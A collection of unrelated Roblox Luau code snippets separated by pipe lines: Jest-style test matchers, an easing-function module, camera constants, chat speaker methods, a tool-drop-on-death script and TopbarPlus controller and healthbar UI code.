-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: number
)
local matcherName = "toHaveLength"
local isNot = self.isNot
local options: MatcherHintOptions = {
isNot = isNot,
promise = self.promise,
}
-- ROBLOX deviation: only strings and array-like tables have a well defined built in length in Lua
-- we also allow for objects that have a length property
local hasLengthProperty = typeof(received) == "table" and typeof(received.length) == "number"
if not Array.isArray(received) and typeof(received) ~= "string" and not hasLengthProperty then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format(
"%s value must have a length property whose value must be a number",
RECEIVED_COLOR("received")
),
printWithType("Received", received, printReceived)
)
)
)
end
ensureExpectedIsNonNegativeInteger(expected, matcherName, options)
local pass
local receivedLength
if received.length ~= nil then
receivedLength = received.length
pass = receivedLength == expected
else
receivedLength = #received
pass = receivedLength == expected
end
local message = function()
local labelExpected = "Expected length"
local labelReceivedLength = "Received length"
local labelReceivedValue = string.format("Received %s", getType(received))
local printLabel = getLabelPrinter(labelExpected, labelReceivedLength, labelReceivedValue)
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format(
"%s%s%s\n",
printLabel(labelExpected),
isNot and "never " or "",
printExpected(expected)
)
if not isNot then
retval = retval .. string.format("%s%s\n", printLabel(labelReceivedLength), printReceived(receivedLength))
end
return retval
.. string.format(
"%s%s%s",
printLabel(labelReceivedValue),
isNot and " " or "",
printReceived(received)
)
end
return { message = message, pass = pass }
end
local function toHaveProperty(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expectedPath: any,
expectedValue: any?
)
local matcherName = "toHaveProperty"
local expectedArgument = "path"
local hasValue = expectedValue ~= nil
local options: MatcherHintOptions = {
isNot = self.isNot,
promise = self.promise,
secondArgument = hasValue and "value" or "",
}
if received == nil then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, expectedArgument, options),
string.format("%s value must not be nil", RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
local expectedPathType = getType(expectedPath)
if expectedPathType ~= "string" and expectedPathType ~= "table" then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, expectedArgument, options),
string.format("%s path must be a string or array", EXPECTED_COLOR("expected")),
printWithType("Expected", expectedPath, printExpected)
)
)
)
end
local expectedPathLength
if typeof(expectedPath) == "string" then
expectedPathLength = #pathAsArray(expectedPath)
else
expectedPathLength = #expectedPath
end
if expectedPathType == "table" and expectedPathLength == 0 then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, expectedArgument, options),
string.format("%s path must not be an empty array", EXPECTED_COLOR("expected")),
printWithType("Expected", expectedPath, printExpected)
)
)
)
end
local result = getPath(received, expectedPath)
local lastTraversedObject = result.lastTraversedObject
local hasEndProp = result.hasEndProp
local receivedPath = result.traversedPath
local hasCompletePath = #receivedPath == expectedPathLength
local receivedValue
if hasCompletePath then
receivedValue = result.value
else
receivedValue = lastTraversedObject
end
local pass
if hasValue then
pass = equals(result.value, expectedValue, { iterableEquality })
else
pass = not not hasEndProp -- theoretically undefined if empty path
end
-- Remove type cast if we rewrite getPath as iterative algorithm.
-- ROBLOX deviation: omit code block for dealing with upstream edge case with undefined expectedValues
local message
if pass then
message = function()
local retval = matcherHint(matcherName, nil, expectedArgument, options) .. "\n\n"
if hasValue then
retval = retval
.. string.format("Expected path: %s\n\n", printExpected(expectedPath))
.. string.format("Expected value: never %s", printExpected(expectedValue))
if stringify(expectedValue) ~= stringify(receivedValue) then
return retval .. string.format("\nReceived value: %s", printReceived(receivedValue))
end
return retval
else
return retval
.. string.format("Expected path: never %s\n\n", printExpected(expectedPath))
.. string.format("Received value: %s", printReceived(receivedValue))
end
end
else
message = function()
local retval = matcherHint(matcherName, nil, expectedArgument, options)
.. "\n\n"
.. string.format("Expected path: %s\n", printExpected(expectedPath))
if hasCompletePath then
return retval
.. "\n"
.. printDiffOrStringify(
expectedValue,
receivedValue,
EXPECTED_VALUE_LABEL,
RECEIVED_VALUE_LABEL,
isExpand(self.expand)
)
end
retval = retval .. "Received path: "
if expectedPathType == "table" or #receivedPath == 0 then
retval = retval .. string.format("%s\n\n", printReceived(receivedPath))
else
retval = retval .. string.format("%s\n\n", printReceived(table.concat(receivedPath, ".")))
end
if hasValue then
retval = retval .. string.format("Expected value: %s\n", printExpected(expectedValue))
end
return retval .. string.format("Received value: %s", printReceived(receivedValue))
end
end
return { message = message, pass = pass }
end
|
--[[Shutdown]]
|
car.DriveSeat.ChildRemoved:Connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
script.Parent:Destroy()
end
end)
|
-- @specs https://design.firefox.com/photon/motion/duration-and-easing.html
|
local MozillaCurve = Bezier(0.07, 0.95, 0, 1)
local function Smooth(T)
return T * T * (3 - 2 * T)
end
local function Smoother(T)
return T * T * T * (T * (6 * T - 15) + 10)
end
local function RidiculousWiggle(T)
return math.sin(math.sin(T * 3.141592653589793115997963468544185161590576171875) * 1.5707963267948965579989817342720925807952880859375)
end
local function Spring(T)
return 1 + (-math.exp(-6.9 * T) * math.cos(-20.1061929829746759423869661986827850341796875 * T))
end
local function SoftSpring(T)
return 1 + (-math.exp(-7.5 * T) * math.cos(-10.05309649148733797119348309934139251708984375 * T))
end
local function OutBounce(T)
return T < 0.36363636363636364645657295113778673112392425537109375 and 7.5625 * T * T
or T < 0.7272727272727272929131459022755734622478485107421875 and 3 + T * (11 * T - 12) * 0.6875
or T < 0.90909090909090906063028114658663980662822723388671875 and 6 + T * (11 * T - 18) * 0.6875
or 7.875 + T * (11 * T - 21) * 0.6875
end
local function InBounce(T)
if T > 0.63636363636363635354342704886221326887607574462890625 then
T = T - 1
return 1 - T * T * 7.5625
elseif T > 0.2727272727272727070868540977244265377521514892578125 then
return (11 * T - 7) * (11 * T - 3) / -16
elseif T > 0.0909090909090909116141432377844466827809810638427734375 then
return (11 * (4 - 11 * T) * T - 3) / 16
else
return T * (11 * T - 1) * -0.6875
end
end
return setmetatable({
Linear = Linear;
OutSmooth = Smooth;
InSmooth = Smooth;
InOutSmooth = Smooth;
OutSmoother = Smoother;
InSmoother = Smoother;
InOutSmoother = Smoother;
OutRidiculousWiggle = RidiculousWiggle;
InRidiculousWiggle = RidiculousWiggle;
InOutRidiculousWiggle = RidiculousWiggle;
OutRevBack = RevBack;
InRevBack = RevBack;
InOutRevBack = RevBack;
OutSpring = Spring;
InSpring = Spring;
InOutSpring = Spring;
OutSoftSpring = SoftSpring;
InSoftSpring = SoftSpring;
InOutSoftSpring = SoftSpring;
InSharp = Sharp;
InOutSharp = Sharp;
OutSharp = Sharp;
InAcceleration = Acceleration;
InOutAcceleration = Acceleration;
OutAcceleration = Acceleration;
InStandard = Standard;
InOutStandard = Standard;
OutStandard = Standard;
InDeceleration = Deceleration;
InOutDeceleration = Deceleration;
OutDeceleration = Deceleration;
InFabricStandard = FabricStandard;
InOutFabricStandard = FabricStandard;
OutFabricStandard = FabricStandard;
InFabricAccelerate = FabricAccelerate;
InOutFabricAccelerate = FabricAccelerate;
OutFabricAccelerate = FabricAccelerate;
InFabricDecelerate = FabricDecelerate;
InOutFabricDecelerate = FabricDecelerate;
OutFabricDecelerate = FabricDecelerate;
InUWPAccelerate = UWPAccelerate;
InOutUWPAccelerate = UWPAccelerate;
OutUWPAccelerate = UWPAccelerate;
InStandardProductive = StandardProductive;
OutStandardProductive = StandardProductive;
InOutStandardProductive = StandardProductive;
InStandardExpressive = StandardExpressive;
OutStandardExpressive = StandardExpressive;
InOutStandardExpressive = StandardExpressive;
InEntranceProductive = EntranceProductive;
OutEntranceProductive = EntranceProductive;
InOutEntranceProductive = EntranceProductive;
InEntranceExpressive = EntranceExpressive;
OutEntranceExpressive = EntranceExpressive;
InOutEntranceExpressive = EntranceExpressive;
InExitProductive = ExitProductive;
OutExitProductive = ExitProductive;
InOutExitProductive = ExitProductive;
InExitExpressive = ExitExpressive;
OutExitExpressive = ExitExpressive;
InOutExitExpressive = ExitExpressive;
OutMozillaCurve = MozillaCurve;
InMozillaCurve = MozillaCurve;
InOutMozillaCurve = MozillaCurve;
InQuad = function(T)
return T * T
end;
OutQuad = function(T)
return T * (2 - T)
end;
InOutQuad = function(T)
return T < 0.5 and 2 * T * T or 2 * (2 - T) * T - 1
end;
InCubic = function(T)
return T * T * T
end;
OutCubic = function(T)
return 1 - (1 - T) * (1 - T) * (1 - T)
end;
InOutCubic = function(T)
return T < 0.5 and 4 * T * T * T or 1 + 4 * (T - 1) * (T - 1) * (T - 1)
end;
InQuart = function(T)
return T * T * T * T
end;
OutQuart = function(T)
T = T - 1
return 1 - T * T * T * T
end;
InOutQuart = function(T)
if T < 0.5 then
T = T * T
return 8 * T * T
else
T = T - 1
return 1 - 8 * T * T * T * T
end;
end;
InQuint = function(T)
return T * T * T * T * T
end;
OutQuint = function(T)
T = T - 1
return T * T * T * T * T + 1
end;
InOutQuint = function(T)
if T < 0.5 then
return 16 * T * T * T * T * T
else
T = T - 1
return 16 * T * T * T * T * T + 1
end;
end;
InBack = function(T)
return T * T * (3 * T - 2)
end;
OutBack = function(T)
return (T - 1) * (T - 1) * (T * 2 + T - 1) + 1
end;
InOutBack = function(T)
return T < 0.5 and 2 * T * T * (2 * 3 * T - 2) or 1 + 2 * (T - 1) * (T - 1) * (2 * 3 * T - 2 - 2)
end;
InSine = function(T)
return 1 - math.cos(T * 1.5707963267948965579989817342720925807952880859375)
end;
OutSine = function(T)
return math.sin(T * 1.5707963267948965579989817342720925807952880859375)
end;
InOutSine = function(T)
return (1 - math.cos(3.141592653589793115997963468544185161590576171875 * T)) / 2
end;
OutBounce = OutBounce;
InBounce = InBounce;
InOutBounce = function(T)
return T < 0.5 and InBounce(2 * T) / 2 or OutBounce(2 * T - 1) / 2 + 0.5
end;
InElastic = function(T)
return math.exp((T * 0.9638073641881153008625915390439331531524658203125 - 1) * 8) * T *
0.9638073641881153008625915390439331531524658203125 *
math.sin(4 * T * 0.9638073641881153008625915390439331531524658203125) * 1.8752275007428715891677484250976704061031341552734375
end;
OutElastic = function(T)
return 1 +
(math.exp(8 * (0.9638073641881153008625915390439331531524658203125 - 0.9638073641881153008625915390439331531524658203125 * T - 1)) *
0.9638073641881153008625915390439331531524658203125 * (T - 1) *
math.sin(4 * 0.9638073641881153008625915390439331531524658203125 * (1 - T))) * 1.8752275007428715891677484250976704061031341552734375
end;
InOutElastic = function(T)
return T < 0.5 and (math.exp(8 * (2 * 0.9638073641881153008625915390439331531524658203125 * T - 1)) * 0.9638073641881153008625915390439331531524658203125 * T * math.sin(2 * 4 * 0.9638073641881153008625915390439331531524658203125 * T)) * 1.8752275007428715891677484250976704061031341552734375
or 1 + (math.exp(8 * (0.9638073641881153008625915390439331531524658203125 * (2 - 2 * T) - 1)) * 0.9638073641881153008625915390439331531524658203125 * (T - 1) * math.sin(4 * 0.9638073641881153008625915390439331531524658203125 * (2 - 2 * T))) * 1.8752275007428715891677484250976704061031341552734375
end;
InExpo = function(T)
return T * T * math.exp(4 * (T - 1))
end;
OutExpo = function(T)
return 1 - (1 - T) * (1 - T) / math.exp(4 * T)
end;
InOutExpo = function(T)
return T < 0.5 and 2 * T * T * math.exp(4 * (2 * T - 1)) or 1 - 2 * (T - 1) * (T - 1) * math.exp(4 * (1 - 2 * T))
end;
InCirc = function(T)
return -(math.sqrt(1 - T * T) - 1)
end;
OutCirc = function(T)
T = T - 1
return math.sqrt(1 - T * T)
end;
InOutCirc = function(T)
T = T * 2
if T < 1 then
return -(math.sqrt(1 - T * T) - 1) / 2
else
T = T - 2
return (math.sqrt(1 - T * T) - 1) / 2
end
end;
}, {
__index = function(_, Index)
error(tostring(Index) .. " is not a valid easing style.", 2)
end;
})
|
--[=[
@param name string
@param priority number
@param fn (dt: number) -> ()
Calls `RunService:BindToRenderStep` and registers a function in the
trove that will call `RunService:UnbindFromRenderStep` on cleanup.
```lua
trove:BindToRenderStep("Test", Enum.RenderPriority.Last.Value, function(dt)
-- Do something
end)
```
]=]
|
function Trove:BindToRenderStep(name: string, priority: number, fn: (dt: number) -> ())
RunService:BindToRenderStep(name, priority, fn)
self:Add(function()
RunService:UnbindFromRenderStep(name)
end)
end
|
--Instructions--
--1) Copy this into a local script.
--2) place the local script into "StarterPlayerScripts"
--3) The script should then disable swimming in your game,
| |
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about
-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
|
local MIN_Y = math.rad(-80)
local MAX_Y = math.rad(80)
local VR_ANGLE = math.rad(15)
local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)
local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)
local VR_LOW_INTENSITY_REPEAT = 0.1
local VR_HIGH_INTENSITY_REPEAT = 0.4
local ZERO_VECTOR2 = Vector2.new(0,0)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local SEAT_OFFSET = Vector3.new(0,5,0)
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local HEAD_OFFSET = Vector3.new(0,1.5,0)
local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)
local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)
local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)
local GAMEPAD_ZOOM_STEP_1 = 0
local GAMEPAD_ZOOM_STEP_2 = 10
local GAMEPAD_ZOOM_STEP_3 = 20
local ZOOM_SENSITIVITY_CURVATURE = 0.5
local FIRST_PERSON_DISTANCE_MIN = 0.5
local Util = require(script.Parent:WaitForChild("CameraUtils"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController"))
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
|
--TheNexusAvenger
--Creates a bomb explosion. Minor modifications from the Rocket Launcher.
|
local Configuration = require(script.Parent:WaitForChild("Configuration"))
local FORCE_GRANULARITY = Configuration.FORCE_GRANULARITY
local BLAST_RADIUS = Configuration.BLAST_RADIUS
local BLAST_PRESSURE = Configuration.BLAST_PRESSURE * FORCE_GRANULARITY
local ExplosionCreator = {}
local Debris = game:GetService("Debris")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Configuration = require(script.Parent:WaitForChild("Configuration"))
local PlayerDamager = require(script.Parent:WaitForChild("PlayerDamager"))
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
function methods:SayMessage(message, channelName, extraData)
if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end
if (not channelName) then return end
local channel = self.Channels[channelName:lower()]
if (not channel) then
error("Speaker is not in channel \"" .. channelName .. "\"")
end
local messageObj = channel:InternalPostMessage(self, message, extraData)
if (messageObj) then
local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end)
if not success and err then
print("Error saying message: " ..err)
end
end
return messageObj
end
function methods:JoinChannel(channelName)
if (self.Channels[channelName:lower()]) then
warn("Speaker is already in channel \"" .. channelName .. "\"")
return
end
local channel = self.ChatService:GetChannel(channelName)
if (not channel) then
error("Channel \"" .. channelName .. "\" does not exist!")
end
self.Channels[channelName:lower()] = channel
channel:InternalAddSpeaker(self)
local success, err = pcall(function()
self.eChannelJoined:Fire(channel.Name, channel.WelcomeMessage)
end)
if not success and err then
print("Error joining channel: " ..err)
end
end
function methods:LeaveChannel(channelName)
if (not self.Channels[channelName:lower()]) then
warn("Speaker is not in channel \"" .. channelName .. "\"")
return
end
local channel = self.Channels[channelName:lower()]
self.Channels[channelName:lower()] = nil
channel:InternalRemoveSpeaker(self)
local success, err = pcall(function()
self.eChannelLeft:Fire(channel.Name)
end)
if not success and err then
print("Error leaving channel: " ..err)
end
end
function methods:IsInChannel(channelName)
return (self.Channels[channelName:lower()] ~= nil)
end
function methods:GetChannelList()
local list = {}
for i, channel in pairs(self.Channels) do
table.insert(list, channel.Name)
end
return list
end
function methods:SendMessage(message, channelName, fromSpeaker, extraData)
local channel = self.Channels[channelName:lower()]
if (channel) then
channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName))
end
end
function methods:SendSystemMessage(message, channelName, extraData)
local channel = self.Channels[channelName:lower()]
if (channel) then
channel:SendSystemMessageToSpeaker(message, self.Name, extraData)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName))
end
end
function methods:GetPlayer()
return self.PlayerObj
end
function methods:SetExtraData(key, value)
self.ExtraData[key] = value
self.eExtraDataUpdated:Fire(key, value)
end
function methods:GetExtraData(key)
return self.ExtraData[key]
end
function methods:SetMainChannel(channelName)
local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end)
if not success and err then
print("Error setting main channel: " ..err)
end
end
|
----[[ Color Settings ]]
|
module.BackGroundColor = Color3.new(0, 0, 0)
module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.new(0, 0, 0)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.new(0, 0, 0)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(1, 0.333333, 0)
module.DefaultChannelNameColor = Color3.fromRGB(255, 170, 0)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(255, 170, 0)
|
-- goro7
|
local plr = game.Players.LocalPlayer
local inputService = game:GetService("UserInputService")
local guiService = game:GetService("GuiService")
function close()
-- Set not visible
plr.PlayerGui.GUIClick:Play()
game.ReplicatedStorage.Interactions.Server.UpdateTradeSession:FireServer(4)
script.Parent.Parent.EndSession:Fire(true)
guiService.SelectedObject = nil
end
script.Parent.MouseButton1Click:connect(close)
inputService.InputBegan:connect(function(inputObj)
if inputObj.KeyCode == Enum.KeyCode.ButtonB and script.Parent.Parent.Visible then
close()
end
end)
|
-- Get the LocalPlayer and PlayerGui
|
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
|
--repeat wait() until script.Parent.HumanoidRootPart
|
local a = 0
local x = math.cos(a)
local z = math.sin(a)
local c = script.Parent.HumanoidRootPart.Position
local count = 5
local nodes = {}
local function Spin()
for i,n in pairs(nodes) do
local b = a+ i*(360/#nodes)
x = math.cos(math.rad(b))
z = math.sin(math.rad(b))
game:GetService("TweenService"):Create(n,TweenInfo.new(.2,Enum.EasingStyle.Quart),{Position = c + Vector3.new(x,0,z)*5}):Play()
end
end
local function Start(count)
for i=1,count do
local n = Instance.new('Part',workspace)
n.Anchored = true
n.Size = Vector3.new(1,1,1)
n.CanCollide = false
n:ClearAllChildren()
n.Parent = workspace
table.insert(nodes,n)
end
local b = 360/#nodes
c = script.Parent.Position
a=a+15
local spincoro = coroutine.create(Spin)
return spincoro
end
|
----------------
|
local ZoomDistance = 40
local L_150_ = {}
|
-- Starter Character Scripts
|
function Death()
wait(0.2)
local Tool = script.Parent:FindFirstChildWhichIsA("Tool")
if Tool then
local M = script.Contain:Clone()
M.Parent = game.Workspace
M.Disabled = false
if Tool:FindFirstChild("Handle") and script.Parent:FindFirstChildWhichIsA("Part") then
Tool.Handle.Position = script.Parent:FindFirstChildWhichIsA("Part").Position
Tool.Handle.Velocity = Vector3.new(0,0,0)
Tool.Handle.RotVelocity = Vector3.new(0,0,0)
Tool.Handle.CanCollide = true
Tool.Parent = M
end
end
local Player = game.Players:GetPlayerFromCharacter(script.Parent)
if Player then
local Value = 0
local M = script.Contain:Clone()
M.Parent = game.Workspace
M.Disabled = false
while true do
local C = Player.Backpack:GetChildren()
if #C <= 0 or (script.Configuration.DropAll.Value == false and Value >= script.Configuration.DropLimit.Value) then
break
end
for i = 1,#C do
if math.random(1,1000) == 1000 then
if C[i]:FindFirstChild("Handle") and Player.Character:FindFirstChildWhichIsA("Part") then
C[i].Handle.Position = Player.Character:FindFirstChildWhichIsA("Part").Position
C[i].Handle.Velocity = Vector3.new(0,0,0)
C[i].Handle.RotVelocity = Vector3.new(0,0,0)
C[i].Handle.CanCollide = true
C[i].Parent = M
end
Value = Value + 1
end
if script.Configuration.DropAll.Value == false and Value >= script.Configuration.DropLimit.Value then
break
end
end
end
end
end
script.Parent.Humanoid.Died:connect(Death)
|
-- PRIVATE METHODS
|
function IconController:_updateSelectionGroup(clearAll)
if IconController._navigationEnabled then
guiService:RemoveSelectionGroup("TopbarPlusIcons")
end
if clearAll then
guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled
guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled
IconController._navigationEnabled = nil
elseif IconController.controllerModeEnabled then
local icons = IconController.getIcons()
local iconContainers = {}
for i, otherIcon in pairs(icons) do
local featureName = otherIcon.joinedFeatureName
if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then
table.insert(iconContainers, otherIcon.instances.iconButton)
end
end
guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers))
if not IconController._navigationEnabled then
IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled
IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled
guiService.CoreGuiNavigationEnabled = false
guiService.GuiNavigationEnabled = true
IconController._navigationEnabled = true
end
end
end
local function getScaleMultiplier()
if guiService:IsTenFootInterface() then
return 3
else
return 1.3
end
end
function IconController._setControllerSelectedObject(object)
local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0
IconController._controllerSetCount = startId
guiService.SelectedObject = object
task.delay(0.1, function()
local finalId = IconController._controllerSetCountS
if startId == finalId then
guiService.SelectedObject = object
end
end)
end
function IconController._enableControllerMode(bool)
local indicator = TopbarPlusGui.Indicator
local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
if IconController.controllerModeEnabled == bool then
return
end
IconController.controllerModeEnabled = bool
if bool then
TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5)
TopbarPlusGui.TopbarContainer.Visible = false
local scaleMultiplier = getScaleMultiplier()
indicator.Position = UDim2.new(0.5,0,0,5)
indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier)
indicator.Image = "rbxassetid://5278151556"
indicator.Visible = checkTopbarEnabledAccountingForMimic()
indicator.Position = UDim2.new(0.5,0,0,5)
indicator.Active = true
controllerMenuOverride = indicator.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
IconController.setTopbarEnabled(true,false)
end
end)
else
TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)
TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic()
indicator.Visible = false
IconController._setControllerSelectedObject(nil)
end
for icon, _ in pairs(topbarIcons) do
IconController._enableControllerModeForIcon(icon, bool)
end
end
function IconController._enableControllerModeForIcon(icon, bool)
local parentIcon = icon._parentIcon
local featureName = icon.joinedFeatureName
if parentIcon then
icon:leave()
end
if bool then
local scaleMultiplier = getScaleMultiplier()
local currentSizeDeselected = icon:get("iconSize", "deselected")
local currentSizeSelected = icon:get("iconSize", "selected")
local currentSizeHovering = icon:getHovering("iconSize")
icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode")
icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode")
if currentSizeHovering then
icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode")
end
icon:set("alignment", "mid", "deselected", "controllerMode")
icon:set("alignment", "mid", "selected", "controllerMode")
else
local states = {"deselected", "selected", "hovering"}
for _, iconState in pairs(states) do
local _, previousAlignment = icon:get("alignment", iconState, "controllerMode")
if previousAlignment then
icon:set("alignment", previousAlignment, iconState)
end
local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode")
if previousSize then
icon:set("iconSize", previousSize, iconState)
end
end
end
if parentIcon then
icon:join(parentIcon, featureName)
end
end
local createdFakeHealthbarIcon = false
function IconController.setupHealthbar()
if createdFakeHealthbarIcon then
return
end
createdFakeHealthbarIcon = true
-- Create a fake healthbar icon to mimic the core health gui
task.defer(function()
runService.Heartbeat:Wait()
local Icon = require(iconModule)
Icon.new()
:setProperty("internalIcon", true)
:setName("_FakeHealthbar")
:setRight()
:setOrder(-420)
:setSize(80, 32)
:lock()
:set("iconBackgroundTransparency", 1)
:give(function(icon)
local healthContainer = Instance.new("Frame")
healthContainer.Name = "HealthContainer"
healthContainer.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
healthContainer.BorderSizePixel = 0
healthContainer.AnchorPoint = Vector2.new(0, 0.5)
healthContainer.Position = UDim2.new(0, 0, 0.5, 0)
healthContainer.Size = UDim2.new(1, 0, 0.2, 0)
healthContainer.Visible = true
healthContainer.ZIndex = 11
healthContainer.Parent = icon.instances.iconButton
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(1, 0)
corner.Parent = healthContainer
local healthFrame = healthContainer:Clone()
healthFrame.Name = "HealthFrame"
healthFrame.BackgroundColor3 = Color3.fromRGB(167, 167, 167)
healthFrame.BorderSizePixel = 0
healthFrame.AnchorPoint = Vector2.new(0.5, 0.5)
healthFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
healthFrame.Size = UDim2.new(1, -2, 1, -2)
healthFrame.Visible = true
healthFrame.ZIndex = 12
healthFrame.Parent = healthContainer
local healthBar = healthFrame:Clone()
healthBar.Name = "HealthBar"
healthBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
healthBar.BorderSizePixel = 0
healthBar.AnchorPoint = Vector2.new(0, 0.5)
healthBar.Position = UDim2.new(0, 0, 0.5, 0)
healthBar.Size = UDim2.new(0.5, 0, 1, 0)
healthBar.Visible = true
healthBar.ZIndex = 13
healthBar.Parent = healthFrame
local START_HEALTHBAR_COLOR = Color3.fromRGB(27, 252, 107)
local MID_HEALTHBAR_COLOR = Color3.fromRGB(250, 235, 0)
local END_HEALTHBAR_COLOR = Color3.fromRGB(255, 28, 0)
local function powColor3(color, pow)
return Color3.new(
math.pow(color.R, pow),
math.pow(color.G, pow),
math.pow(color.B, pow)
)
end
local function lerpColor(colorA, colorB, frac, gamma)
gamma = gamma or 2.0
local CA = powColor3(colorA, gamma)
local CB = powColor3(colorB, gamma)
return powColor3(CA:Lerp(CB, frac), 1/gamma)
end
local firstTimeEnabling = true
local function listenToHealth(character)
if not character then
return
end
local humanoid = character:WaitForChild("Humanoid", 10)
if not humanoid then
return
end
local function updateHealthBar()
local realHealthbarEnabled = starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health)
local healthInterval = humanoid.Health / humanoid.MaxHealth
if healthInterval == 1 or IconController.healthbarDisabled or (firstTimeEnabling and realHealthbarEnabled == false) then
if icon.enabled then
icon:setEnabled(false)
end
return
elseif healthInterval < 1 then
if not icon.enabled then
icon:setEnabled(true)
end
firstTimeEnabling = false
if realHealthbarEnabled then
starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)
end
end
local startInterval = 0.9
local endInterval = 0.1
local m = 1/(startInterval - endInterval)
local c = -m*endInterval
local colorIntervalAbsolute = (m*healthInterval) + c
local colorInterval = (colorIntervalAbsolute > 1 and 1) or (colorIntervalAbsolute < 0 and 0) or colorIntervalAbsolute
local firstColor = (healthInterval > 0.5 and START_HEALTHBAR_COLOR) or MID_HEALTHBAR_COLOR
local lastColor = (healthInterval > 0.5 and MID_HEALTHBAR_COLOR) or END_HEALTHBAR_COLOR
local doubleSubtractor = (1-colorInterval)*2
local modifiedColorInterval = (healthInterval > 0.5 and (1-doubleSubtractor)) or (2-doubleSubtractor)
local newHealthFillColor = lerpColor(lastColor, firstColor, modifiedColorInterval)
local newHealthFillSize = UDim2.new(healthInterval, 0, 1, 0)
healthBar.BackgroundColor3 = newHealthFillColor
healthBar.Size = newHealthFillSize
end
humanoid.HealthChanged:Connect(updateHealthBar)
IconController.healthbarDisabledSignal:Connect(updateHealthBar)
updateHealthBar()
end
localPlayer.CharacterAdded:Connect(function(character)
listenToHealth(character)
end)
task.spawn(listenToHealth, localPlayer.Character)
end)
end)
end
function IconController._determineControllerDisplay()
local mouseEnabled = userInputService.MouseEnabled
local controllerEnabled = userInputService.GamepadEnabled
local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption")
if mouseEnabled and controllerEnabled then
-- Show icon (if option not disabled else hide)
if not disableControllerOption then
controllerOptionIcon:setEnabled(true)
else
controllerOptionIcon:setEnabled(false)
end
elseif mouseEnabled and not controllerEnabled then
-- Hide icon, disableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(false)
controllerOptionIcon:deselect()
elseif not mouseEnabled and controllerEnabled then
-- Hide icon, _enableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(true)
end
end
|
--Receive announcements
|
local goalTransparency = announcement.Transparency
function createAnnouncement(message)
announcement.AnnouncementText.Text = ""
announcement.AnnouncementText.TextTransparency = 0
announcement.Transparency = 1
announcement.Visible = true
local fadeTweenInfo = TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local fadeInTween = ts:Create(announcement, fadeTweenInfo, {Transparency = goalTransparency})
fadeInTween:Play()
